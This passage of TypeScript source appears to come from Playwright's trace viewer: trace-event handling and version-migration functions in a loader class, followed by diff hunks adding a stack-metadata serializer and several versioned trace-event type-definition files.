existing!.afterSnapshot = event.afterSnapshot;
existing!.endTime = event.endTime;
existing!.result = event.result;
existing!.error = event.error;
existing!.attachments = event.attachments;
existing!.annotations = event.annotations;
if (event.point)
existing!.point = event.point;
break;
}
case 'action': {
this._actionMap.set(event.callId, { ...event, log: [] });
break;
}
case 'event': {
contextEntry.events.push(event);
break;
}
case 'stdout': {
contextEntry.stdio.push(event);
break;
}
case 'stderr': {
contextEntry.stdio.push(event);
break;
}
case 'error': {
contextEntry.errors.push(event);
break;
}
case 'console': {
contextEntry.events.push(event);
break;
}
case 'resource-snapshot':
this._snapshotStorage.addResource(this._contextEntry.contextId, event.snapshot);
contextEntry.resources.push(event.snapshot);
break;
case 'frame-snapshot':
this._snapshotStorage.addFrameSnapshot(this._contextEntry.contextId, event.snapshot, this._pageEntry(event.snapshot.pageId).screencastFrames);
break;
}
// Make sure there is a page entry for each page, even without screencast frames,
// to show in the metadata view.
if (('pageId' in event) && event.pageId)
this._pageEntry(event.pageId);
if (event.type === 'action' || event.type === 'before')
contextEntry.startTime = Math.min(contextEntry.startTime, event.startTime);
if (event.type === 'action' || event.type === 'after')
contextEntry.endTime = Math.max(contextEntry.endTime, event.endTime);
if (event.type === 'event') {
contextEntry.startTime = Math.min(contextEntry.startTime, event.time);
contextEntry.endTime = Math.max(contextEntry.endTime, event.time);
}
if (event.type === 'screencast-frame') {
contextEntry.startTime = Math.min(contextEntry.startTime, event.timestamp);
contextEntry.endTime = Math.max(contextEntry.endTime, event.timestamp);
}
}
private _processedContextCreatedEvent() {
return this._version !== undefined;
}
private _modernize(event: any): trace.TraceEvent[] {
// First record does not have this._version, but should have a version in the event entry itself.
// Test traces before 7 (including 6) did not have version in the first entry, run the modernizer for 6=>*.
let version = this._version ?? event.version ?? 6;
let events = [event];
for (; version < latestVersion; ++version)
events = (this as any)[`_modernize_${version}_to_${version + 1}`].call(this, events);
return events;
}
_modernize_0_to_1(events: any[]): any[] {
for (const event of events) {
if (event.type !== 'action')
continue;
if (typeof event.metadata.error === 'string')
event.metadata.error = { error: { name: 'Error', message: event.metadata.error } };
}
return events;
}
_modernize_1_to_2(events: any[]): any[] {
for (const event of events) {
if (event.type !== 'frame-snapshot' || !event.snapshot.isMainFrame)
continue;
// Old versions had completely wrong viewport.
event.snapshot.viewport = this._contextEntry.options?.viewport || { width: 1280, height: 720 };
}
return events;
}
_modernize_2_to_3(events: any[]): any[] {
for (const event of events) {
if (event.type !== 'resource-snapshot' || event.snapshot.request)
continue;
// Migrate from old ResourceSnapshot to new har entry format.
const resource = event.snapshot;
event.snapshot = {
_frameref: resource.frameId,
request: {
url: resource.url,
method: resource.method,
headers: resource.requestHeaders,
postData: resource.requestSha1 ? { _sha1: resource.requestSha1 } : undefined,
},
response: {
status: resource.status,
headers: resource.responseHeaders,
content: {
mimeType: resource.contentType,
_sha1: resource.responseSha1,
},
},
_monotonicTime: resource.timestamp,
};
}
return events;
}
_modernize_3_to_4(events: traceV3.TraceEvent[]): traceV4.TraceEvent[] {
const result: traceV4.TraceEvent[] = [];
for (const event of events) {
const e = this._modernize_event_3_to_4(event);
if (e)
result.push(e);
}
return result;
}
_modernize_event_3_to_4(event: traceV3.TraceEvent): traceV4.TraceEvent | null {
if (event.type !== 'action' && event.type !== 'event') {
return event as traceV3.ContextCreatedTraceEvent |
traceV3.ScreencastFrameTraceEvent |
traceV3.ResourceSnapshotTraceEvent |
traceV3.FrameSnapshotTraceEvent;
}
const metadata = event.metadata;
if (metadata.internal || metadata.method.startsWith('tracing'))
return null;
if (event.type === 'event') {
if (metadata.method === '__create__' && metadata.type === 'ConsoleMessage') {
return {
type: 'object',
class: metadata.type,
guid: metadata.params.guid,
initializer: metadata.params.initializer,
};
}
return {
type: 'event',
time: metadata.startTime,
class: metadata.type,
method: metadata.method,
params: metadata.params,
pageId: metadata.pageId,
};
}
return {
type: 'action',
callId: metadata.id,
startTime: metadata.startTime,
endTime: metadata.endTime,
apiName: metadata.apiName || metadata.type + '.' + metadata.method,
class: metadata.type,
method: metadata.method,
params: metadata.params,
// eslint-disable-next-line no-restricted-globals
wallTime: metadata.wallTime || Date.now(),
log: metadata.log,
beforeSnapshot: metadata.snapshots.find(s => s.title === 'before')?.snapshotName,
inputSnapshot: metadata.snapshots.find(s => s.title === 'input')?.snapshotName,
afterSnapshot: metadata.snapshots.find(s => s.title === 'after')?.snapshotName,
error: metadata.error?.error,
result: metadata.result,
point: metadata.point,
pageId: metadata.pageId,
};
}
_modernize_4_to_5(events: traceV4.TraceEvent[]): traceV5.TraceEvent[] {
const result: traceV5.TraceEvent[] = [];
for (const event of events) {
const e = this._modernize_event_4_to_5(event);
if (e)
result.push(e);
}
return result;
}
_modernize_event_4_to_5(event: traceV4.TraceEvent): traceV5.TraceEvent | null {
if (event.type === 'event' && event.method === '__create__' && event.class === 'JSHandle')
this._jsHandles.set(event.params.guid, event.params.initializer);
if (event.type === 'object') {
// We do not expect any other 'object' events.
if (event.class !== 'ConsoleMessage')
return null;
// Older traces might have `args` inherited from the protocol initializer - guid of JSHandle,
// but might also have modern `args` with preview and value.
const args: { preview: string, value: string }[] = (event.initializer as any).args?.map((arg: any) => {
if (arg.guid) {
const handle = this._jsHandles.get(arg.guid);
return { preview: handle?.preview || '', value: '' };
}
return { preview: arg.preview || '', value: arg.value || '' };
});
this._consoleObjects.set(event.guid, {
type: event.initializer.type,
text: event.initializer.text,
location: event.initializer.location,
args,
});
return null;
}
if (event.type === 'event' && event.method === 'console') {
const consoleMessage = this._consoleObjects.get(event.params.message?.guid || '');
if (!consoleMessage)
return null;
return {
type: 'console',
time: event.time,
pageId: event.pageId,
messageType: consoleMessage.type,
text: consoleMessage.text,
args: consoleMessage.args,
location: consoleMessage.location,
};
}
return event;
}
_modernize_5_to_6(events: traceV5.TraceEvent[]): traceV6.TraceEvent[] {
const result: traceV6.TraceEvent[] = [];
for (const event of events) {
result.push(event);
if (event.type !== 'after' || !event.log.length)
continue;
for (const log of event.log) {
result.push({
type: 'log',
callId: event.callId,
message: log,
time: -1,
});
}
}
return result;
}
_modernize_6_to_7(events: traceV6.TraceEvent[]): traceV7.TraceEvent[] {
const result: traceV7.TraceEvent[] = [];
if (!this._processedContextCreatedEvent() && events[0].type !== 'context-options') {
const event: traceV7.ContextCreatedTraceEvent = {
type: 'context-options',
origin: 'testRunner',
version: 6,
browserName: '',
options: {},
platform: 'unknown',
wallTime: 0,
monotonicTime: 0,
sdkLanguage: 'javascript',
contextId: '',
};
result.push(event);
}
for (const event of events) {
if (event.type === 'context-options') {
result.push({ ...event, monotonicTime: 0, origin: 'library', contextId: '' });
continue;
}
if (event.type === 'before' || event.type === 'action') {
// Take wall and monotonic time from the first event.
if (!this._contextEntry.wallTime)
this._contextEntry.wallTime = event.wallTime;
const eventAsV6 = event as traceV6.BeforeActionTraceEvent;
const eventAsV7 = event as traceV7.BeforeActionTraceEvent;
eventAsV7.stepId = `${eventAsV6.apiName}@${eventAsV6.wallTime}`;
result.push(eventAsV7);
} else {
result.push(event);
}
}
return result;
}
_modernize_7_to_8(events: traceV7.TraceEvent[]): traceV8.TraceEvent[] {
const result: traceV8.TraceEvent[] = [];
for (const event of events) {
if (event.type === 'before' || event.type === 'action') {
const eventAsV7 = event as traceV7.BeforeActionTraceEvent;
const eventAsV8 = event as traceV8.BeforeActionTraceEvent;
if (eventAsV7.apiName) {
eventAsV8.title = eventAsV7.apiName;
delete (eventAsV8 as any).apiName;
}
eventAsV8.stepId = eventAsV7.stepId ?? eventAsV7.callId;
result.push(eventAsV8);
} else {
result.push(event);
}
}
return result;
}
}
@@ -0,0 +1,56 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { ClientSideCallMetadata, StackFrame } from '@protocol/channels';
export type SerializedStackFrame = [number, number, number, string];
export type SerializedStack = [number, SerializedStackFrame[]];
export type SerializedClientSideCallMetadata = {
files: string[];
stacks: SerializedStack[];
};
export function parseClientSideCallMetadata(data: SerializedClientSideCallMetadata): Map<string, StackFrame[]> {
const result = new Map<string, StackFrame[]>();
const { files, stacks } = data;
for (const s of stacks) {
const [id, ff] = s;
result.set(`call@${id}`, ff.map(f => ({ file: files[f[0]], line: f[1], column: f[2], function: f[3] })));
}
return result;
}
export function serializeClientSideCallMetadata(metadatas: ClientSideCallMetadata[]): SerializedClientSideCallMetadata {
const fileNames = new Map<string, number>();
const stacks: SerializedStack[] = [];
for (const m of metadatas) {
if (!m.stack || !m.stack.length)
continue;
const stack: SerializedStackFrame[] = [];
for (const frame of m.stack) {
let ordinal = fileNames.get(frame.file);
if (typeof ordinal !== 'number') {
ordinal = fileNames.size;
fileNames.set(frame.file, ordinal);
}
const stackFrame: SerializedStackFrame = [ordinal, frame.line || 0, frame.column || 0, frame.function || ''];
stack.push(stackFrame);
}
stacks.push([m.id, stack]);
}
return { files: [...fileNames.keys()], stacks };
}
@@ -0,0 +1,164 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Entry as ResourceSnapshot } from '@trace/har';
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type Point = {
x: number,
y: number,
};
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
type CallMetadata = {
id: string;
startTime: number;
endTime: number;
pauseStartTime?: number;
pauseEndTime?: number;
type: string;
method: string;
params: any;
apiName?: string;
internal?: boolean;
isServerSide?: boolean;
wallTime?: number;
location?: { file: string, line?: number, column?: number };
log: string[];
afterSnapshot?: string;
snapshots: { title: string, snapshotName: string }[];
error?: SerializedError;
result?: any;
point?: Point;
objectId?: string;
pageId?: string;
frameId?: string;
};
export type NodeSnapshot =
string |
[ [number, number] ] |
[ string ] |
[ string, { [attr: string]: string }, ...any ];
export type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
export type FrameSnapshot = {
// There was no callId in the original, we are intentionally regressing it.
callId: string;
snapshotName?: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
export type BrowserContextEventOptions = {
viewport?: { width: number, height: number },
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
export type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
browserName: string,
platform: string,
wallTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: 'javascript' | 'python' | 'java' | 'csharp',
testIdAttributeName?: string,
};
export type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
};
export type ActionTraceEvent = {
type: 'action' | 'event',
metadata: CallMetadata & { stack?: StackFrame[] },
};
export type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
export type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent;
@@ -0,0 +1,225 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Entry as ResourceSnapshot } from '@trace/har';
type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
type Point = { x: number, y: number };
type Size = { width: number, height: number };
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
bi?: string,
m?: SerializedValue,
se?: SerializedValue,
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
type NodeSnapshot =
// Text node.
string |
// Subtree reference, "x snapshots ago, node #y". Could point to a text node.
// Only nodes that are not references are counted, starting from zero, using post-order traversal.
[ [number, number] ] |
// Just node name.
[ string ] |
// Node name, attributes, child nodes.
// Unfortunately, we cannot make this type definition recursive, therefore "any".
[ string, { [attr: string]: string }, ...any ];
type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
type FrameSnapshot = {
snapshotName?: string,
callId: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
type BrowserContextEventOptions = {
viewport?: Size,
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
browserName: string,
channel?: string,
platform: string,
wallTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: Language,
testIdAttributeName?: string,
};
type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
};
type BeforeActionTraceEvent = {
type: 'before',
callId: string;
startTime: number;
apiName: string;
class: string;
method: string;
params: Record<string, any>;
wallTime: number;
beforeSnapshot?: string;
stack?: StackFrame[];
pageId?: string;
parentId?: string;
};
type InputActionTraceEvent = {
type: 'input',
callId: string;
inputSnapshot?: string;
point?: Point;
};
type AfterActionTraceEventAttachment = {
name: string;
contentType: string;
path?: string;
sha1?: string;
base64?: string;
};
type AfterActionTraceEvent = {
type: 'after',
callId: string;
endTime: number;
afterSnapshot?: string;
log: string[];
error?: SerializedError['error'];
attachments?: AfterActionTraceEventAttachment[];
result?: any;
};
type EventTraceEvent = {
type: 'event',
time: number;
class: string;
method: string;
params: any;
pageId?: string;
};
type ConsoleMessageTraceEvent = {
type: 'object';
class: string;
initializer: {
type: string,
text: string,
location: {
url: string,
lineNumber: number,
columnNumber: number,
},
};
guid: string;
};
type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
type ActionTraceEvent = {
type: 'action',
} & Omit<BeforeActionTraceEvent, 'type'>
& Omit<AfterActionTraceEvent, 'type'>
& Omit<InputActionTraceEvent, 'type'>;
type StdioTraceEvent = {
type: 'stdout' | 'stderr';
timestamp: number;
text?: string;
base64?: string;
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
BeforeActionTraceEvent |
InputActionTraceEvent |
AfterActionTraceEvent |
EventTraceEvent |
ConsoleMessageTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent |
StdioTraceEvent;
@@ -0,0 +1,225 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Entry as ResourceSnapshot } from '@trace/har';
type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
type Point = { x: number, y: number };
type Size = { width: number, height: number };
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
bi?: string,
m?: SerializedValue,
se?: SerializedValue,
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
type NodeSnapshot =
// Text node.
string |
// Subtree reference, "x snapshots ago, node #y". Could point to a text node.
// Only nodes that are not references are counted, starting from zero, using post-order traversal.
[ [number, number] ] |
// Just node name.
[ string ] |
// Node name, attributes, child nodes.
// Unfortunately, we cannot make this type definition recursive, therefore "any".
[ string, { [attr: string]: string }, ...any ];
type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
type FrameSnapshot = {
snapshotName?: string,
callId: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
export type BrowserContextEventOptions = {
viewport?: Size,
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
export type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
browserName: string,
channel?: string,
platform: string,
wallTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: Language,
testIdAttributeName?: string,
};
export type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
};
export type BeforeActionTraceEvent = {
type: 'before',
callId: string;
startTime: number;
apiName: string;
class: string;
method: string;
params: Record<string, any>;
wallTime: number;
beforeSnapshot?: string;
stack?: StackFrame[];
pageId?: string;
parentId?: string;
};
export type InputActionTraceEvent = {
type: 'input',
callId: string;
inputSnapshot?: string;
point?: Point;
};
export type AfterActionTraceEventAttachment = {
name: string;
contentType: string;
path?: string;
sha1?: string;
base64?: string;
};
export type AfterActionTraceEvent = {
type: 'after',
callId: string;
endTime: number;
afterSnapshot?: string;
log: string[];
error?: SerializedError['error'];
attachments?: AfterActionTraceEventAttachment[];
result?: any;
};
export type EventTraceEvent = {
type: 'event',
time: number;
class: string;
method: string;
params: any;
pageId?: string;
};
export type ConsoleMessageTraceEvent = {
type: 'console';
time: number;
pageId?: string;
messageType: string,
text: string,
args?: { preview: string, value: any }[],
location: {
url: string,
lineNumber: number,
columnNumber: number,
},
};
export type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
export type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
export type ActionTraceEvent = {
type: 'action',
} & Omit<BeforeActionTraceEvent, 'type'>
& Omit<AfterActionTraceEvent, 'type'>
& Omit<InputActionTraceEvent, 'type'>;
export type StdioTraceEvent = {
type: 'stdout' | 'stderr';
timestamp: number;
text?: string;
base64?: string;
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
BeforeActionTraceEvent |
InputActionTraceEvent |
AfterActionTraceEvent |
EventTraceEvent |
ConsoleMessageTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent |
StdioTraceEvent;
@@ -0,0 +1,239 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Entry as ResourceSnapshot } from '@trace/har';
type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
type Point = { x: number, y: number };
type Size = { width: number, height: number };
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
bi?: string,
m?: SerializedValue,
se?: SerializedValue,
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
type NodeSnapshot =
// Text node.
string |
// Subtree reference, "x snapshots ago, node #y". Could point to a text node.
// Only nodes that are not references are counted, starting from zero, using post-order traversal.
[ [number, number] ] |
// Just node name.
[ string ] |
// Node name, attributes, child nodes.
// Unfortunately, we cannot make this type definition recursive, therefore "any".
[ string, { [attr: string]: string }, ...any ];
type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
type FrameSnapshot = {
snapshotName?: string,
callId: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
export type BrowserContextEventOptions = {
viewport?: Size,
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
export type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
browserName: string,
channel?: string,
platform: string,
wallTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: Language,
testIdAttributeName?: string,
};
export type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
};
export type BeforeActionTraceEvent = {
type: 'before',
callId: string;
startTime: number;
apiName: string;
class: string;
method: string;
params: Record<string, any>;
wallTime: number;
beforeSnapshot?: string;
stack?: StackFrame[];
pageId?: string;
parentId?: string;
};
export type InputActionTraceEvent = {
type: 'input',
callId: string;
inputSnapshot?: string;
point?: Point;
};
export type AfterActionTraceEventAttachment = {
name: string;
contentType: string;
path?: string;
sha1?: string;
base64?: string;
};
export type AfterActionTraceEvent = {
type: 'after',
callId: string;
endTime: number;
afterSnapshot?: string;
error?: SerializedError['error'];
attachments?: AfterActionTraceEventAttachment[];
result?: any;
point?: Point;
};
export type LogTraceEvent = {
type: 'log',
callId: string;
time: number;
message: string;
};
export type EventTraceEvent = {
type: 'event',
time: number;
class: string;
method: string;
params: any;
pageId?: string;
};
export type ConsoleMessageTraceEvent = {
type: 'console';
time: number;
pageId?: string;
messageType: string,
text: string,
args?: { preview: string, value: any }[],
location: {
url: string,
lineNumber: number,
columnNumber: number,
},
};
export type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
export type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
export type ActionTraceEvent = {
type: 'action',
} & Omit<BeforeActionTraceEvent, 'type'>
& Omit<AfterActionTraceEvent, 'type'>
& Omit<InputActionTraceEvent, 'type'>;
export type StdioTraceEvent = {
type: 'stdout' | 'stderr';
timestamp: number;
text?: string;
base64?: string;
};
export type ErrorTraceEvent = {
type: 'error';
message: string;
stack?: StackFrame[];
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
BeforeActionTraceEvent |
InputActionTraceEvent |
AfterActionTraceEvent |
EventTraceEvent |
LogTraceEvent |
ConsoleMessageTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent |
StdioTraceEvent |
ErrorTraceEvent;
@@ -0,0 +1,260 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Entry as ResourceSnapshot } from '@trace/har';
type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
type Point = { x: number, y: number };
export type Size = { width: number, height: number };
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type Binary = Buffer;
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
bi?: string,
ta?: {
b: Binary,
k: 'i8' | 'ui8' | 'ui8c' | 'i16' | 'ui16' | 'i32' | 'ui32' | 'f32' | 'f64' | 'bi64' | 'bui64',
},
e?: {
m: string,
n: string,
s: string,
},
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
// Text node.
type TextNodeSnapshot = string;
// Subtree reference, "x snapshots ago, node #y". Could point to a text node.
// Only nodes that are not references are counted, starting from zero, using post-order traversal.
type SubtreeReferenceSnapshot = [ [number, number] ];
// Node name, and optional attributes and child nodes.
type NodeNameAttributesChildNodesSnapshot = [ string ] | [ string, Record<string, string>, ...NodeSnapshot[] ];
type NodeSnapshot =
TextNodeSnapshot |
SubtreeReferenceSnapshot |
NodeNameAttributesChildNodesSnapshot;
type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
type FrameSnapshot = {
snapshotName?: string,
callId: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
wallTime?: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
type BrowserContextEventOptions = {
baseURL?: string,
viewport?: Size,
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
export type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
origin: 'testRunner' | 'library',
browserName: string,
channel?: string,
platform: string,
wallTime: number,
monotonicTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: Language,
testIdAttributeName?: string,
contextId?: string,
};
export type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
frameSwapWallTime?: number,
};
export type BeforeActionTraceEvent = {
type: 'before',
callId: string;
startTime: number;
apiName: string;
class: string;
method: string;
params: Record<string, any>;
stepId?: string;
beforeSnapshot?: string;
stack?: StackFrame[];
pageId?: string;
parentId?: string;
};
export type InputActionTraceEvent = {
type: 'input',
callId: string;
inputSnapshot?: string;
point?: Point;
};
export type AfterActionTraceEventAttachment = {
name: string;
contentType: string;
path?: string;
sha1?: string;
base64?: string;
};
export type AfterActionTraceEventAnnotation = {
type: string,
description?: string
};
export type AfterActionTraceEvent = {
type: 'after',
callId: string;
endTime: number;
afterSnapshot?: string;
error?: SerializedError['error'];
attachments?: AfterActionTraceEventAttachment[];
annotations?: AfterActionTraceEventAnnotation[];
result?: any;
point?: Point;
};
export type LogTraceEvent = {
type: 'log',
callId: string;
time: number;
message: string;
};
export type EventTraceEvent = {
type: 'event',
time: number;
class: string;
method: string;
params: any;
pageId?: string;
};
export type ConsoleMessageTraceEvent = {
type: 'console';
time: number;
pageId?: string;
messageType: string,
text: string,
args?: { preview: string, value: any }[],
location: {
url: string,
lineNumber: number,
columnNumber: number,
},
};
export type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
export type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
export type ActionTraceEvent = {
type: 'action',
} & Omit<BeforeActionTraceEvent, 'type'>
& Omit<AfterActionTraceEvent, 'type'>
& Omit<InputActionTraceEvent, 'type'>;
export type StdioTraceEvent = {
type: 'stdout' | 'stderr';
timestamp: number;
text?: string;
base64?: string;
};
export type ErrorTraceEvent = {
type: 'error';
message: string;
stack?: StackFrame[];
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
BeforeActionTraceEvent |
InputActionTraceEvent |
AfterActionTraceEvent |
EventTraceEvent |
LogTraceEvent |
ConsoleMessageTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent |
StdioTraceEvent |
ErrorTraceEvent;
@@ -0,0 +1,260 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
